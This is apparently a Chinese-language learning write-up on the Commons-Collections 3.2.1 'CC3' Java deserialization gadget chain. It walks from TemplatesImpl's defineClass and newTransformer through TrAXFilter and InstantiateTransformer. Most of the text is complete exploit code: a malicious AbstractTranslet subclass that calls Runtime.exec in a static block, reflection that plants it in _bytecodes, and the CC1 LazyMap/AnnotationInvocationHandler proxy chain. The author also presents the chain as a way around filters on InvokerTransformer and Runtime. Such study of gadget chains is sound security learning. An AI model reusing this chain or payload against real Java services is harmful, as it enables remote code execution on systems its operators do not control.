环境准备
jdk8u65
Commons-Collections 3.2.1
分析 最近几周没碰Java感觉又有点生疏了,在CC3中命令执行的方法和1,6不一样,这里用的是动态类加载,使用defineClass->newInstance
来命令执行即在字节里面加载一个类然后实例化执行代码,所以直接从这里入手逆推,还是find usages寻找哪里调用了defineClass,因为它是一个protected所以我们需要一个调用它public方法,最终在TemplatesImpl类的static final class TransletClassLoader
下找到defineClass这里没有标注作用域即默认为defalut,也就是自己的类里面可以调用 继续find usages发现defineTransletClasses私有方法里面调用了 这里_bytecodes
不能为空不然就不能执行到defineClass方法了,然后继续find usages最终找到了getTransletInstance方法并且这里有个newInstance()
实例化的过程,动态执行代码正好需要实例化,所以如果走完这个函数就相当于结束了,但是这个getTransletInstance方法是私有,所以还得继续找,最终找到了newTransformer方法,里面调用了getTransletInstance方法,并且newTransformer方法是public,接下来就是利用了
利用 1 2 TemplatesImpl templates = new TemplatesImpl (); templates.newTransformer();
上面两行代码其实就是命令执行的代码,但是肯定有很多限制条件让它无法执行,所以接下来就是满足所有条件让它执行,首先是下面的这些条件_name
不能为空,_class
必须为空这样才能进入defineTransletClasses()
方法,然后跟进这个方法_bytecodes
不能为空,否则抛异常,_tfactory
需要调方法所以也需要赋值,然后开始构造EXP
构造EXP 通过反射获取属性,_name
的值是String先随便赋一个,_class
初始值就为空不用管,然后是_bytecodes
是一个二维数组,但是传入defineClass方法的值是一维数组
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
而这个一维数组存放的是恶意字节码,也就是命令执行的class文件,所以我们先把这个写完
1 2 3 4 5 6 7 8 9 public class test { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
这个也可以放构造函数里面,实例化的时候能加载就行,这部分对于的代码如下
1 2 byte [] code = Files.readAllBytes(Paths.get("E:\\java-tools\\CC链\\CC3\\" )); byte [][] codes = {code};
这样就完成了二维数组赋值,传给defineClass方法的也是存放恶意字节码的一维数组 循环取值,相当于第一个值就是存放恶意字节码的一维数组,这个_bytecodes
赋值就解决了 然后是_tfactory
赋值,它的定义如下
1 private transient TransformerFactoryImpl _tfactory = null ;
有个transient表示它是个不可序列化的变量,那么我们传值就没有意义了,反序列化的时候就会丢失,最后在readObject中找到它的初始定义
1 _tfactory = new TransformerFactoryImpl ();
这里不为空,所以直接反射赋值为TransformerFactoryImpl即可,到这里该满足的条件都满足了,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodes = tclass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://java-tools/test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); templates.newTransformer(); } }
但是到这里报了空指针错误 本来想调试一下,但是发现环境好像有点问题不能在这个类下调试,直接去422看报错也行, 在418行会判断恶意类是否继承了ABSTRACT_TRANSLET这个类否则报错,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
1 if (superClass.getName().equals(ABSTRACT_TRANSLET))
或者我们给_auxClasses
赋值让它不为空,但是这样_transletIndex
为-1会在下面的判断直接跳出程序,这个方法就不可取,所以直接让恶意类继承AbstractTranslet类,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
执行代码弹出成功
CC1 的TemplatesImpl的实现方式 由于上面的部分我们只是更改的最后命令执行的方法,前面的链子仍然没有变,所以这里和CC1的前半段结合一下,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodes = tclass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://java-tools/test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers= new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; Transformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(1 ); } }
然后把CC1后面的全部拿过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodes = tclass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://java-tools/test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers= new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(new Class []{Class.class, Map.class}); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
成功弹出计算器 目前的流程图如下 CC6和这个也差不多的也能通
继续分析CC3 现在我们已经找到了命令执行的类和方法也就是TemplatesImpl.newTransformer()
前面是和CC1的前半部分链起来的相当于如果过滤了Runtime.exec()
那就可以换种方法来执行代码,如果过滤了InvokerTransform.transform
呢?也是有别的链来到命令执行的,这就是CC3,所以我们继续使用find usages往前找,最终找到了TrAXFilter这个类 这个类也是不能序列化的没办法传参(其实这里有点不太明白不能传参意味着什么),那么只能从构造方法入手
1 _transformer = (TransformerImpl) templates.newTransformer();
可以看到只要执行了构造方法就能到newTransformer()
命令执行,在这里CC3作者调用了一个新的类InstantiateTransformer
我们去看一下它的transform
方法 这样就刚刚好符合需求然后构造EXP
CC3 EXP 通过InstantiateTransformer
来调用TrAXFilter
类的构造方法解决如下
1 2 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class);
测试成功,然后使用CC1的前半部分去调transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodes = tclass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://java-tools/test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, instantiateTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(new Class []{Class.class, Map.class}); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
但是发现在反序列化的时候报错,这里还是CC1的setValue()
的传参无法控制,需要引入 Transformer
与 ChainedTransformer
辅助,改了后的EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodes = tclass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://java-tools/test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers= new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(new Class []{Class.class, Map.class}); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
链子结束。跟完发现自己对于CC1的理解还是不够透彻,得去复习一下了,CC链这一块还是很重要,对于后续其它的链学习算是打下基础
流程图 这条链子就相当于给了命令执行的另一种方法,如果InvokerTransform
和Runtime
被办了就可以用这一条来绕过